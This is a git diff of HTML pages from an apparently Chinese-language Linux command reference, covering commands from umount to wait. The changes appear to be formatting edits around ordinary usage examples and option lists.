    - - + + \ No newline at end of file diff --git a/c/umount.html b/c/umount.html index 19a77266e5..b71a80f52c 100644 --- a/c/umount.html +++ b/c/umount.html @@ -9,7 +9,7 @@ umount 命令,Linux umount 命令详解:用于卸载已经加载的文件系统 - Linux 命令搜索引擎 - + @@ -142,19 +142,19 @@ customElements.define('markdown-style', MarkdownStyle);实例

    下面两条命令分别通过设备名和挂载点卸载文件系统,同时输出详细信息:

    通过设备名卸载

    -
    umount -v /dev/sda1
    +
    umount -v /dev/sda1
     /dev/sda1 umounted
     

    通过挂载点卸载

    -
    umount -v /mnt/mymount/
    +
    umount -v /mnt/mymount/
     /tmp/diskboot.img umounted
     

    如果设备正忙,卸载即告失败。卸载失败的常见原因是,某个打开的shell当前目录为挂载点里的某个目录:

    -
    umount -v /mnt/mymount/
    +
    umount -v /mnt/mymount/
     umount: /mnt/mymount: device is busy
     umount: /mnt/mymount: device is busy
     

    从上面的输出可知,mymount分区无法卸载的原因在于,francois运行的PID为9341的bash进程。

    对付系统文件正忙的另一种方法是执行延迟卸载:

    -
    umount -vl /mnt/mymount/     执行延迟卸载
    +
    umount -vl /mnt/mymount/     执行延迟卸载
     

    延迟卸载(lazy unmount)会立即卸载目录树里的文件系统,等到设备不再繁忙时才清理所有相关资源。卸载可移动存储介质还可以用eject命令。下面这条命令会卸载cd并弹出CD:

    eject /dev/cdrom      卸载并弹出CD 
     
    - - + + \ No newline at end of file diff --git a/c/unalias.html b/c/unalias.html index b500957280..90fd7cd675 100644 --- a/c/unalias.html +++ b/c/unalias.html @@ -9,7 +9,7 @@ unalias 命令,Linux unalias 命令详解:删除由alias设置的别名 - Linux 命令搜索引擎 - + @@ -134,7 +134,7 @@ customElements.define('markdown-style', MarkdownStyle);unalias返回true除非您要删除的别名未定义。

    例子

    # 删除全部已定义的别名
    -unalias -a
    +unalias -a
     
     # 删除已定义的别名(假设当前环境存在以下别名)
     unalias vi
    @@ -171,7 +171,7 @@ unalias ls grep
         

    该命令是bash内建命令,相关的帮助信息请查看help命令。

    - - + + \ No newline at end of file diff --git a/c/uname.html b/c/uname.html index 7267015135..936f0b768c 100644 --- a/c/uname.html +++ b/c/uname.html @@ -9,7 +9,7 @@ uname 命令,Linux uname 命令详解:打印系统信息。 - Linux 命令搜索引擎 - + @@ -129,17 +129,17 @@ customElements.define('markdown-style', MarkdownStyle);

    选项

    -
    -a, --all                  按顺序打印全部信息,如果 -p 和 -i 的信息是未知,那么省略。
    +
    -a, --all                  按顺序打印全部信息,如果 -p-i 的信息是未知,那么省略。
     -s, --kernel-name          打印内核名称。
    --n, --nodename             打印网络节点主机名称。
    +-n, --nodename             打印网络节点主机名称。
     -r, --kernel-release       打印内核release。
     -v, --kernel-version       打印内核版本。
    --m, --machine              打印机器名称。
    --p, --processor            打印处理器名称。
    +-m, --machine              打印机器名称。
    +-p, --processor            打印处理器名称。
     -i, --hardware-platform    打印硬件平台名称。
     -o, --operating-system     打印操作系统名称。
    ---help                     显示帮助信息并退出。
    ---version                  显示版本信息并退出。
    +--help                     显示帮助信息并退出。
    +--version                  显示版本信息并退出。
     
    0&&document.getSelection().getRangeAt(0);o.select();let c=!1;try{c=!!document.execCommand("copy")}catch(e){c=!1}document.body.removeChild(o),n&&document.getSelection&&(document.getSelection().removeAllRanges(),document.getSelection().addRange(n)),t&&t(c)}})); @@ -293,7 +293,7 @@ function copied(target, str) { 581 个Linux命令,超过 50+ 贡献者
    - - + + \ No newline at end of file diff --git a/c/unarj.html b/c/unarj.html index ac1a9f90a4..b2247dab6b 100644 --- a/c/unarj.html +++ b/c/unarj.html @@ -9,7 +9,7 @@ unarj 命令,Linux unarj 命令详解:解压缩由arj命令创建的压缩包 - Linux 命令搜索引擎 - + @@ -133,7 +133,7 @@ x:解压缩时保留原有的路径。 " class="copied">

    参数

    .arj压缩包:指定要解压缩的.arj压缩包。

    - - + + \ No newline at end of file diff --git a/c/uncompress.html b/c/uncompress.html index cedf8842c9..5fd943e030 100644 --- a/c/uncompress.html +++ b/c/uncompress.html @@ -9,7 +9,7 @@ uncompress 命令,Linux uncompress 命令详解:用来解压.Z文件 - Linux 命令搜索引擎 - + @@ -140,7 +140,7 @@ customElements.define('markdown-style', MarkdownStyle);uncompress FileName.Z
    - - + + \ No newline at end of file diff --git a/c/unexpand.html b/c/unexpand.html index 889c03f322..7c91e14f3b 100644 --- a/c/unexpand.html +++ b/c/unexpand.html @@ -9,7 +9,7 @@ unexpand 命令,Linux unexpand 命令详解:将文件的空白字符转换为制表符 - Linux 命令搜索引擎 - + @@ -131,7 +131,7 @@ customElements.define('markdown-style', MarkdownStyle);

    参数

    文件:指定要转换空白为TAB的文件列表。

    - - + + \ No newline at end of file diff --git a/c/uniq.html b/c/uniq.html index 672d1cbf75..66fb613b84 100644 --- a/c/uniq.html +++ b/c/uniq.html @@ -9,7 +9,7 @@ uniq 命令,Linux uniq 命令详解:显示或忽略重复的行。 - Linux 命令搜索引擎 - + @@ -125,19 +125,19 @@ customElements.define('markdown-style', MarkdownStyle);当没有选项时,邻近的重复行将合并为一个。

    选项

    -
    -c, --count                在每行开头增加重复次数。
    --d, --repeated             所有邻近的重复行只被打印一次。
    --D                         所有邻近的重复行将全部打印。
    +
    -c, --count                在每行开头增加重复次数。
    +-d, --repeated             所有邻近的重复行只被打印一次。
    +-D                         所有邻近的重复行将全部打印。
     --all-repeated[=METHOD]    类似于 -D,但允许每组之间以空行分割。METHOD取值范围{none(默认),prepend,separate}-f, --skip-fields=N        跳过对前N个列的比较。
     --group[=METHOD]           显示所有行,允许每组之间以空行分割。METHOD取值范围:{separate(默认),prepend,append,both}-i, --ignore-case          忽略大小写的差异。
     -s, --skip-chars=N         跳过对前N个字符的比较。
    --u, --unique               只打印非邻近的重复行。
    +-u, --unique               只打印非邻近的重复行。
     -z, --zero-terminated      设置行终止符为NUL(空),而不是换行符。
     -w, --check-chars=N        只对每行前N个字符进行比较。
    ---help                     显示帮助信息并退出。
    ---version                  显示版本信息并退出。
    +--help                     显示帮助信息并退出。
    +--version                  显示版本信息并退出。
     
    uniq file.txt sort file.txt | uniq -sort -u file.txt +sort -u file.txt

    只显示单一行,区别在于是否执行排序:

    -
    uniq -u file.txt
    -sort file.txt | uniq -u
    +
    uniq -u file.txt
    +sort file.txt | uniq -u
     

    统计各行在文件中出现的次数:

    -
    sort file.txt | uniq -c
    +
    sort file.txt | uniq -c
     

    在文件中找出重复的行:

    -
    sort file.txt | uniq -d
    +
    sort file.txt | uniq -d
     

    注意

    @@ -189,7 +189,7 @@ sort file.txt | uniq -u

    该命令是GNU coreutils包中的命令,相关的帮助信息请查看man -s 1 uniqinfo coreutils 'uniq invocation'

    - - + + \ No newline at end of file diff --git a/c/unlink.html b/c/unlink.html index 789fab3645..8153d4bf71 100644 --- a/c/unlink.html +++ b/c/unlink.html @@ -9,7 +9,7 @@ unlink 命令,Linux unlink 命令详解:系统调用函数unlink去删除指定的文件 - Linux 命令搜索引擎 - + @@ -129,7 +129,7 @@ customElements.define('markdown-style', MarkdownStyle);

    参数

    文件:指定要删除的文件。

    - - + + \ No newline at end of file diff --git a/c/unprotoize.html b/c/unprotoize.html index bad47ddaf0..027f7b9ae7 100644 --- a/c/unprotoize.html +++ b/c/unprotoize.html @@ -9,7 +9,7 @@ unprotoize 命令,Linux unprotoize 命令详解:删除C语言源代码文件中的函数原型 - Linux 命令搜索引擎 - + @@ -129,7 +129,7 @@ customElements.define('markdown-style', MarkdownStyle);

    参数

    文件:需要转换代码的C语言源文件。

    - - + + \ No newline at end of file diff --git a/c/unrar.html b/c/unrar.html index 66942c61af..671025dc6a 100644 --- a/c/unrar.html +++ b/c/unrar.html @@ -9,7 +9,7 @@ unrar 命令,Linux unrar 命令详解:解压rar文件命令,从 rar 压缩包中提取文件 - Linux 命令搜索引擎 - + @@ -126,7 +126,7 @@ unrar [- -] archive [files...] [path...]
    wget https://www.rarlab.com/rar/rarlinux-6.0.2.tar.gz
     
     cd ~/Downloads/
    -tar -zxvf rarlinux-6.0.2.tar.gz
    +tar -zxvf rarlinux-6.0.2.tar.gz
     
    -av- # 禁用,真实性验证检查。 -c- # 禁用,评论显示 --f # 刷新文件 --kb # 保留破碎的提取文件 --ierr # 将所有消息发送给stderr。 --inul # 禁用,所有消息。 +-f # 刷新文件 +-kb # 保留破碎的提取文件 +-ierr # 将所有消息发送给stderr。 +-inul # 禁用,所有消息。 -o+ # 覆盖现有文件。 -o- # 不要覆盖现有文件 -p<password> # 设置密码。 -p- # 不查询密码 --r # 递归子目录。 --u # 更新文件。 --v # 列出所有卷。 +-r # 递归子目录。 +-u # 更新文件。 +-v # 列出所有卷。 -x<file> # 排除指定的文件。 -x@<list> # 排除指定列表文件中的文件。 -x@ # 读取要从 stdin 中排除的文件名。 --y # 对所有查询都假设为是。 +-y # 对所有查询都假设为是。
    [root@linux ~]# unrar e test.rar
    - - + + \ No newline at end of file diff --git a/c/unset.html b/c/unset.html index cc8efc97ad..dd95ece9e1 100644 --- a/c/unset.html +++ b/c/unset.html @@ -9,7 +9,7 @@ unset 命令,Linux unset 命令详解:删除指定的shell变量或函数。 - Linux 命令搜索引擎 - + @@ -140,24 +140,24 @@ customElements.define('markdown-style', MarkdownStyle);例子
    # 删除变量。
     declare paper_size='B5'
    -unset -v paper_size
    +unset -v paper_size
     
    # 删除函数。
     function show_result(){ echo 'Last Command Return: $?'; }
    -unset -f show_result
    +unset -f show_result
     
    # 当不指定选项时,优先删除变量,如果失败则删除函数。
    -declare -i aa=100
    +declare -i aa=100
     function aa(){ echo 'aa'; }
     unset aa
     # 变量'aa'已被删除。
    -declare -p aa
    +declare -p aa
     # 函数'aa'存在。
     declare -F|grep aa
     
    # 演示unset使用-n选项,name指定了引用变量时的情况。 declare a=3 # 定义引用变量 -declare -n b=a +declare -n b=a # 查看属性,显示declare -n b="a" -declare -p b +declare -p b # 显示3 echo ${b} # 显示a echo ${!b} # 指定-n选项时 -unset -n b +unset -n b # 引用变量b已被删除 -declare -p b +declare -p b # 被引用的变量a未被删除 -declare -p a +declare -p a
    # 演示unset不使用-n选项,name指定了引用变量时的情况。 declare a=3 # 定义引用变量 -declare -n b=a +declare -n b=a # 查看属性,显示declare -n b="a" -declare -p b +declare -p b # 显示3 echo ${b} # 显示a @@ -215,9 +215,9 @@ declare -p a # 不指定-n选项时 unset b # 引用变量b未被删除,显示declare -n b="a" -declare -p b +declare -p b # 被引用的变量a被删除 -declare -p a +declare -p a
    0&&document.getSelection().getRangeAt(0);o.select();let c=!1;try{c=!!document.execCommand("copy")}catch(e){c=!1}document.body.removeChild(o),n&&document.getSelection&&(document.getSelection().removeAllRanges(),document.getSelection().addRange(n)),t&&t(c)}})); @@ -310,7 +310,7 @@ function copied(target, str) { 581 个Linux命令,超过 50+ 贡献者
    - - + + \ No newline at end of file diff --git a/c/unzip.html b/c/unzip.html index 234ae1cf2f..49ea3cc372 100644 --- a/c/unzip.html +++ b/c/unzip.html @@ -9,7 +9,7 @@ unzip 命令,Linux unzip 命令详解:用于解压缩由zip命令压缩的压缩包 - Linux 命令搜索引擎 - + @@ -179,22 +179,22 @@ customElements.define('markdown-style', MarkdownStyle);

    将压缩文件text.zip在指定目录/tmp下解压缩,如果已有相同的文件存在,要求unzip命令不覆盖原先的文件。

    -
    unzip -n test.zip -d /tmp
    +
    unzip -n test.zip -d /tmp
     

    查看压缩文件目录,但不解压。

    -
    unzip -v test.zip
    +
    unzip -v test.zip
     

    将压缩文件test.zip在指定目录/tmp下解压缩,如果已有相同的文件存在,要求unzip命令覆盖原先的文件。

    -
    unzip -o test.zip -d tmp/
    +
    unzip -o test.zip -d tmp/
     

    解压指定文件,* 用作通配符。

    unzip test.zip "*.jpg"
     
    - - + + \ No newline at end of file diff --git a/c/updatedb.html b/c/updatedb.html index b435e794bf..616cc325f9 100644 --- a/c/updatedb.html +++ b/c/updatedb.html @@ -9,7 +9,7 @@ updatedb 命令,Linux updatedb 命令详解:创建或更新slocate命令所必需的数据库文件 - Linux 命令搜索引擎 - + @@ -132,10 +132,10 @@ customElements.define('markdown-style', MarkdownStyle);

    实例

    实用updatedb命令的-U选项可以指定要更新slocate数据库的目录。

    -
    updatedb -U /usr/local/  更新指定命令的slocate数据库
    +
    updatedb -U /usr/local/  更新指定命令的slocate数据库
     
    - - + + \ No newline at end of file diff --git a/c/uptime.html b/c/uptime.html index cb267ba069..3c1bb5a237 100644 --- a/c/uptime.html +++ b/c/uptime.html @@ -9,7 +9,7 @@ uptime 命令,Linux uptime 命令详解:查看Linux系统负载信息 - Linux 命令搜索引擎 - + @@ -151,7 +151,7 @@ load average: 0.00, 0.00, 0.00 # 系统平均负载,统计最近1,5

    那么什么是系统平均负载呢? 系统平均负载是指在特定时间间隔内运行队列中的平均进程数。

    如果每个CPU内核的当前活动进程数不大于3的话,那么系统的性能是良好的。如果每个CPU内核的任务数大于5,那么这台机器的性能有严重问题。

    如果你的linux主机是1个双核CPU的话,当Load Average 为6的时候说明机器已经被充分使用了。

    - - + + \ No newline at end of file diff --git a/c/useradd.html b/c/useradd.html index f18286a93e..abfbe53685 100644 --- a/c/useradd.html +++ b/c/useradd.html @@ -9,7 +9,7 @@ useradd 命令,Linux useradd 命令详解:创建的新的系统用户 - Linux 命令搜索引擎 - + @@ -124,25 +124,25 @@ customElements.define('markdown-style', MarkdownStyle);

    选项

    -b, --base-dir BASE_DIR  # 如果未指定 -d HOME_DIR,则系统的默认基本目录。如果未指定此选项,useradd 将使用 /etc/default/useradd 中的 HOME 变量指定的基本目录,或默认使用 /home。
    --c, --comment COMMENT    # 加上备注文字。任何文本字符串。它通常是对登录名的简短描述,目前用作用户全名的字段。
    --d, --home HOME_DIR      # 将使用 HOME_DIR 作为用户登录目录的值来创建新用户。 
    --D, --defaults           # 变更预设值。
    --e, --expiredate EXPIRE_DATE # 用户帐户将被禁用的日期。 日期以 YYYY-MM-DD 格式指定。
    --f, --inactive INACTIVE      # 密码过期后到帐户被永久禁用的天数。
    --g, --gid GROUP   # 用户初始登录组的组名或编号。组名必须存在。组号必须引用已经存在的组。
    --G, --groups GROUP1[,GROUP2,...[,GROUPN]]] # 用户也是其成员的补充组列表。每个组用逗号隔开,中间没有空格。
    --h, --help # 显示帮助信息并退出。
    --k, --skel SKEL_DIR # 骨架目录,其中包含要在用户的主目录中复制的文件和目录,当主目录由 useradd 创建时。
    --K, --key KEY=VALUE # 覆盖 /etc/login.defs 默认值(UID_MIN、UID_MAX、UMASK、PASS_MAX_DAYS 等)。
    +-c, --comment COMMENT    # 加上备注文字。任何文本字符串。它通常是对登录名的简短描述,目前用作用户全名的字段。
    +-d, --home HOME_DIR      # 将使用 HOME_DIR 作为用户登录目录的值来创建新用户。 
    +-D, --defaults           # 变更预设值。
    +-e, --expiredate EXPIRE_DATE # 用户帐户将被禁用的日期。 日期以 YYYY-MM-DD 格式指定。
    +-f, --inactive INACTIVE      # 密码过期后到帐户被永久禁用的天数。
    +-g, --gid GROUP   # 用户初始登录组的组名或编号。组名必须存在。组号必须引用已经存在的组。
    +-G, --groups GROUP1[,GROUP2,...[,GROUPN]]] # 用户也是其成员的补充组列表。每个组用逗号隔开,中间没有空格。
    +-h, --help # 显示帮助信息并退出。
    +-k, --skel SKEL_DIR # 骨架目录,其中包含要在用户的主目录中复制的文件和目录,当主目录由 useradd 创建时。
    +-K, --key KEY=VALUE # 覆盖 /etc/login.defs 默认值(UID_MIN、UID_MAX、UMASK、PASS_MAX_DAYS 等)。
     -l, --no-log-init   # 不要将用户添加到 lastlog 和 faillog 数据库。
     -m, --create-home   # 如果用户的主目录不存在,则创建它。
    --M                  # 不要创建用户的主目录,即使 /etc/login.defs (CREATE_HOME) 中的系统范围设置设置为 yes。
    +-M                  # 不要创建用户的主目录,即使 /etc/login.defs (CREATE_HOME) 中的系统范围设置设置为 yes。
     -N, --no-user-group # 不要创建与用户同名的组,而是将用户添加到由 -g 选项或 /etc/default/useradd 中的 GROUP 变量指定的组中。
     -o, --non-unique    # 允许创建具有重复(非唯一)UID 的用户帐户。 此选项仅在与 -o 选项结合使用时有效。
    --p, --password PASSWORD # crypt(3) 返回的加密密码。 默认是禁用密码。
    --r, --system        # 创建一个系统帐户。
    --s, --shell SHELL   # 用户登录 shell 的名称。
    --u, --uid UID       # 用户 ID 的数值。
    +-p, --password PASSWORD # crypt(3) 返回的加密密码。 默认是禁用密码。
    +-r, --system        # 创建一个系统帐户。
    +-s, --shell SHELL   # 用户登录 shell 的名称。
    +-u, --uid UID       # 用户 ID 的数值。
     -U, --user-group    # 创建一个与用户同名的组,并将用户添加到该组。
     -Z, --selinux-user SEUSER # 用户登录的 SELinux 用户。 默认情况下将此字段留空,这会导致系统选择默认的 SELinux 用户。
     
    @@ -223,11 +223,11 @@ customElements.define('markdown-style', MarkdownStyle);

    建立一个新用户账户,并设置ID:

    -
    useradd caojh -u 544
    +
    useradd caojh -u 544
     

    需要说明的是,设定ID值时尽量要大于500,以免冲突。因为Linux安装后会建立一些特殊用户,一般0到499之间的值留给bin、mail这样的系统账号。

    - - + + \ No newline at end of file diff --git a/c/userdel.html b/c/userdel.html index 001891fff5..3e5c308ba6 100644 --- a/c/userdel.html +++ b/c/userdel.html @@ -9,7 +9,7 @@ userdel 命令,Linux userdel 命令详解:用于删除给定的用户以及与用户相关的文件 - Linux 命令搜索引擎 - + @@ -132,13 +132,13 @@ customElements.define('markdown-style', MarkdownStyle);实例

    userdel命令很简单,比如我们现在有个用户linuxde,其家目录位于/var目录中,现在我们来删除这个用户:

    userdel linuxde       # 删除用户linuxde,但不删除其家目录及文件;
    -userdel -r linuxde    # 删除用户linuxde,其家目录及文件一并删除;
    +userdel -r linuxde    # 删除用户linuxde,其家目录及文件一并删除;
     

    请不要轻易用-r选项;他会删除用户的同时删除用户所有的文件和目录,切记如果用户目录下有重要的文件,在删除前请备份。

    其实也有最简单的办法,但这种办法有点不安全,也就是直接在/etc/passwd中删除您想要删除用户的记录;但最好不要这样做,/etc/passwd是极为重要的文件,可能您一不小心会操作失误。

    - - + + \ No newline at end of file diff --git a/c/usermod.html b/c/usermod.html index ea24e7a3b2..0264580ae2 100644 --- a/c/usermod.html +++ b/c/usermod.html @@ -9,7 +9,7 @@ usermod 命令,Linux usermod 命令详解:用于修改用户的基本信息 - Linux 命令搜索引擎 - + @@ -151,24 +151,24 @@ customElements.define('markdown-style', MarkdownStyle);登录名:指定要修改信息的用户登录名。

    实例

    将 newuser2 添加到组 staff 中:

    -
    usermod -G staff newuser2
    +
    usermod -G staff newuser2
     

    修改newuser的用户名为newuser1:

    -
    usermod -l newuser1 newuser
    +
    usermod -l newuser1 newuser
     

    锁定账号newuser1:

    -
    usermod -L newuser1
    +
    usermod -L newuser1
     

    解除对newuser1的锁定:

    -
    usermod -U newuser1
    +
    usermod -U newuser1
     

    增加用户到用户组中:

    apk add shadow # 安装 shadow 包, usermod 命令包含在 usermod 中
    -usermod -aG group user # 添加用户到用户组中
    +usermod -aG group user # 添加用户到用户组中
     
    @@ -189,7 +189,7 @@ lutixiaya [root@node-1 ~]# ls /data/ new_home " class="copied">
    - - + + \ No newline at end of file diff --git a/c/usernetctl.html b/c/usernetctl.html index ac435aa1fc..b8136ec0fa 100644 --- a/c/usernetctl.html +++ b/c/usernetctl.html @@ -9,7 +9,7 @@ usernetctl 命令,Linux usernetctl 命令详解:被允许时操作指定的网络接口 - Linux 命令搜索引擎 - + @@ -128,7 +128,7 @@ customElements.define('markdown-style', MarkdownStyle);down:禁用网络接口;
  • report:报告网络接口状态。
  • - - + + \ No newline at end of file diff --git a/c/users.html b/c/users.html index 0acebe69b0..b2fe40abc2 100644 --- a/c/users.html +++ b/c/users.html @@ -9,7 +9,7 @@ users 命令,Linux users 命令详解:打印当前主机所有登陆用户的名称。 - Linux 命令搜索引擎 - + @@ -124,8 +124,8 @@ customElements.define('markdown-style', MarkdownStyle);每个显示的用户名对应一个登录会话;如果一个用户有不止一个登录会话,那他的用户名将显示相同的次数。

    选项

    -
    --help       显示帮助信息并退出。
    ---version    显示版本信息并退出。
    +
    --help       显示帮助信息并退出。
    +--version    显示版本信息并退出。
     
    @@ -143,7 +143,7 @@ root root
    1. 该命令是GNU coreutils包中的命令,相关的帮助信息请查看man -s 1 usersinfo coreutils 'users invocation'
    - - + + \ No newline at end of file diff --git a/c/uucico.html b/c/uucico.html index 2fcf4b53c2..c87008ae3f 100644 --- a/c/uucico.html +++ b/c/uucico.html @@ -9,7 +9,7 @@ uucico 命令,Linux uucico 命令详解:UUCP文件传输服务程序 - Linux 命令搜索引擎 - + @@ -139,7 +139,7 @@ customElements.define('markdown-style', MarkdownStyle);-w或--wait 在主动模式下,当执行调用动作时,则出现要求登入的提示画面。 -x<类型>或-X<类型>或outgoing-debug<类型> 启动指定的排错模式。 -z或--try-next 当执行不成功时,尝试下一个选择而不结束程序。 ---help 显示帮助,并且结束程序。 +--help 显示帮助,并且结束程序。

    提示:该命令一般没有输出。

    - - + + \ No newline at end of file diff --git a/c/uupick.html b/c/uupick.html index f5e176240e..5b985facb4 100644 --- a/c/uupick.html +++ b/c/uupick.html @@ -9,7 +9,7 @@ uupick 命令,Linux uupick 命令详解:命令处理传送进来的文件 - Linux 命令搜索引擎 - + @@ -125,7 +125,7 @@ customElements.define('markdown-style', MarkdownStyle);-I<配置文件>或--config<配置文件> 指定配置文件。 -s<主机>或--system<主机> 处理由指定主机传送过来的文件。 -v或--version 显示版本信息。 ---help 显示帮助。 +--help 显示帮助。

    该命令通常没有输出。

    - - + + \ No newline at end of file diff --git a/c/uuto.html b/c/uuto.html index ec1206e4c4..6a8c07fe22 100644 --- a/c/uuto.html +++ b/c/uuto.html @@ -9,7 +9,7 @@ uuto 命令,Linux uuto 命令详解:将文件传送到远端的UUCP主机 - Linux 命令搜索引擎 - + @@ -127,7 +127,7 @@ customElements.define('markdown-style', MarkdownStyle);

    该命令通常没有输出。

    - - + + \ No newline at end of file diff --git a/c/vdfuse.html b/c/vdfuse.html index 4c9144e536..83543c6da0 100644 --- a/c/vdfuse.html +++ b/c/vdfuse.html @@ -9,7 +9,7 @@ vdfuse 命令,Linux vdfuse 命令详解:VirtualBox软件挂载VDI分区文件工具 - Linux 命令搜索引擎 - + @@ -124,19 +124,19 @@ customElements.define('markdown-style', MarkdownStyle);

    语法

    -
    vdfuse [options] -f image-file mountpoint
    +
    vdfuse [options] -f image-file mountpoint
     

    选项

    -
    -h 帮助
    --r 只读
    --t 类型 (VDI, VMDK, VHD, or raw; default: auto)
    --f 镜像文件
    --a 允许所有用户读取
    --w 允许所有用户都写
    --g 前台运行
    --v 输出反馈
    --d debug模式
    +
    -h 帮助
    +-r 只读
    +-t 类型 (VDI, VMDK, VHD, or raw; default: auto)
    +-f 镜像文件
    +-a 允许所有用户读取
    +-w 允许所有用户都写
    +-g 前台运行
    +-v 输出反馈
    +-d debug模式
     

    实例

    使用如下如下语句挂载.vdi文件:

    -
    sudo vdfuse -f /path/to/file.vdi /path/to/mountpoint
    +
    sudo vdfuse -f /path/to/file.vdi /path/to/mountpoint
     

    /path/to/mountpoint应该包含如下文件EntireDisk、Partition1等,如果只有一个文件,你可能需要这样挂载:

    @@ -158,7 +158,7 @@ customElements.define('markdown-style', MarkdownStyle);

    文件系统就挂载到/path/to/someother/mountpoint了。

    - - + + \ No newline at end of file diff --git a/c/vgchange.html b/c/vgchange.html index 09fa369fe3..217db2d91c 100644 --- a/c/vgchange.html +++ b/c/vgchange.html @@ -9,7 +9,7 @@ vgchange 命令,Linux vgchange 命令详解:修改卷组属性 - Linux 命令搜索引擎 - + @@ -136,7 +136,7 @@ customElements.define('markdown-style', MarkdownStyle);1 logical volume(s) in volume group "vg1000" now active
    - - + + \ No newline at end of file diff --git a/c/vgconvert.html b/c/vgconvert.html index a011263699..a8cb45446f 100644 --- a/c/vgconvert.html +++ b/c/vgconvert.html @@ -9,7 +9,7 @@ vgconvert 命令,Linux vgconvert 命令详解:转换卷组元数据格式 - Linux 命令搜索引擎 - + @@ -156,7 +156,7 @@ Volume group vg1000 successfully converted
    - - + + \ No newline at end of file diff --git a/c/vgcreate.html b/c/vgcreate.html index 3f1a19172f..2892682ee4 100644 --- a/c/vgcreate.html +++ b/c/vgcreate.html @@ -9,7 +9,7 @@ vgcreate 命令,Linux vgcreate 命令详解:用于创建LVM卷组 - Linux 命令搜索引擎 - + @@ -143,7 +143,7 @@ customElements.define('markdown-style', MarkdownStyle);Volume group "vg1000" successfully created
    - - + + \ No newline at end of file diff --git a/c/vgdisplay.html b/c/vgdisplay.html index 9d71df8254..85dcc7e841 100644 --- a/c/vgdisplay.html +++ b/c/vgdisplay.html @@ -9,7 +9,7 @@ vgdisplay 命令,Linux vgdisplay 命令详解:显示LVM卷组的信息 - Linux 命令搜索引擎 - + @@ -146,7 +146,7 @@ customElements.define('markdown-style', MarkdownStyle);
    - - + + \ No newline at end of file diff --git a/c/vgextend.html b/c/vgextend.html index ee0b3dc5b9..188e7e02c0 100644 --- a/c/vgextend.html +++ b/c/vgextend.html @@ -9,7 +9,7 @@ vgextend 命令,Linux vgextend 命令详解:向卷组中添加物理卷 - Linux 命令搜索引擎 - + @@ -141,7 +141,7 @@ customElements.define('markdown-style', MarkdownStyle);Volume group "vg2000" successfully extended
    - - + + \ No newline at end of file diff --git a/c/vgreduce.html b/c/vgreduce.html index e6f9172042..b07d129df4 100644 --- a/c/vgreduce.html +++ b/c/vgreduce.html @@ -9,7 +9,7 @@ vgreduce 命令,Linux vgreduce 命令详解:从卷组中删除物理卷 - Linux 命令搜索引擎 - + @@ -141,7 +141,7 @@ customElements.define('markdown-style', MarkdownStyle);Removed "/dev/sdb2" from volume group "vg2000"
    - - + + \ No newline at end of file diff --git a/c/vgremove.html b/c/vgremove.html index 2d9b69377e..13ac660829 100644 --- a/c/vgremove.html +++ b/c/vgremove.html @@ -9,7 +9,7 @@ vgremove 命令,Linux vgremove 命令详解:用于用户删除LVM卷组 - Linux 命令搜索引擎 - + @@ -134,7 +134,7 @@ customElements.define('markdown-style', MarkdownStyle);
    - - + + \ No newline at end of file diff --git a/c/vgrename.html b/c/vgrename.html index 79d21fb4d7..9314939b34 100644 --- a/c/vgrename.html +++ b/c/vgrename.html @@ -9,7 +9,7 @@ vgrename 命令,Linux vgrename 命令详解:使用vgrename命令可以重命名卷组的名称 - Linux 命令搜索引擎 - + @@ -122,8 +122,8 @@ customElements.define('markdown-style', MarkdownStyle);

    选项

    -
    -d 启用调试模式
    --t 启用测试模式
    +
    -d 启用调试模式
    +-t 启用测试模式
     
    @@ -140,7 +140,7 @@ customElements.define('markdown-style', MarkdownStyle);
    - - + + \ No newline at end of file diff --git a/c/vgscan.html b/c/vgscan.html index d1f01d89c1..1fc8f7d950 100644 --- a/c/vgscan.html +++ b/c/vgscan.html @@ -9,7 +9,7 @@ vgscan 命令,Linux vgscan 命令详解:扫描并显示系统中的卷组 - Linux 命令搜索引擎 - + @@ -139,7 +139,7 @@ customElements.define('markdown-style', MarkdownStyle);

    说明:本例中,vgscan指令找到了两个LVM2卷组"vg1000"和"vg2000"。

    - - + + \ No newline at end of file diff --git a/c/vi.html b/c/vi.html index 50e9ff0c3a..97145b92f0 100644 --- a/c/vi.html +++ b/c/vi.html @@ -9,7 +9,7 @@ vi 命令,Linux vi 命令详解:功能强大的纯文本编辑器 - Linux 命令搜索引擎 - + @@ -232,7 +232,7 @@ O:在当前行前面插入一空行; " class="copied">

    则从文件第一行至文件末尾($)将大写I全部替换成小写i。vi编辑器的三种工作方式之间的转换如图所示。

    !vi

    - - + + \ No newline at end of file diff --git a/c/vmstat.html b/c/vmstat.html index 9d3dc44701..712462da91 100644 --- a/c/vmstat.html +++ b/c/vmstat.html @@ -9,7 +9,7 @@ vmstat 命令,Linux vmstat 命令详解:显示虚拟内存状态 - Linux 命令搜索引擎 - + @@ -209,7 +209,7 @@ procs -----------memory---------- ---swap-- -----io---- --system-- -----cpu-----
    • id: 空闲时间百分比
    - - + + \ No newline at end of file diff --git a/c/volname.html b/c/volname.html index d2b08519e7..3dee625bd7 100644 --- a/c/volname.html +++ b/c/volname.html @@ -9,7 +9,7 @@ volname 命令,Linux volname 命令详解:显示指定的ISO-9660格式的设备的卷名称 - Linux 命令搜索引擎 - + @@ -123,7 +123,7 @@ customElements.define('markdown-style', MarkdownStyle);

    参数

    设备文件名:指定要显示卷名称的设备。

    - - + + \ No newline at end of file diff --git a/c/w.html b/c/w.html index 8547937d12..e4dc5c746f 100644 --- a/c/w.html +++ b/c/w.html @@ -9,7 +9,7 @@ w 命令,Linux w 命令详解:显示目前登入系统的用户信息 - Linux 命令搜索引擎 - + @@ -124,13 +124,13 @@ customElements.define('markdown-style', MarkdownStyle);选项
     -h, --no-header     不打印头信息;
      -u, --no-current    当显示当前进程和cpu时间时忽略用户名;
    - -s, --short         使用短输出格式;
    - -f, --from          显示用户从哪登录;
    + -s, --short         使用短输出格式;
    + -f, --from          显示用户从哪登录;
      -o, --old-style     老式输出
      -i, --ip-addr       显示IP地址而不是主机名(如果可能)
     
    -     --help     显示此帮助并退出
    - -V, --version  显示版本信息。
    +     --help     显示此帮助并退出
    + -V, --version  显示版本信息。
     
    - - + + \ No newline at end of file diff --git a/c/wait.html b/c/wait.html index 24e7bd6a20..aded46459a 100644 --- a/c/wait.html +++ b/c/wait.html @@ -9,7 +9,7 @@ wait 命令,Linux wait 命令详解:等待进程执行完后返回 - Linux 命令搜索引擎 - + @@ -129,10 +129,10 @@ customElements.define('markdown-style', MarkdownStyle);

    执行上面的指令后,将输出指定作业号的指令,如下所示:

    -
    find / -name password
    +
    find / -name password
     
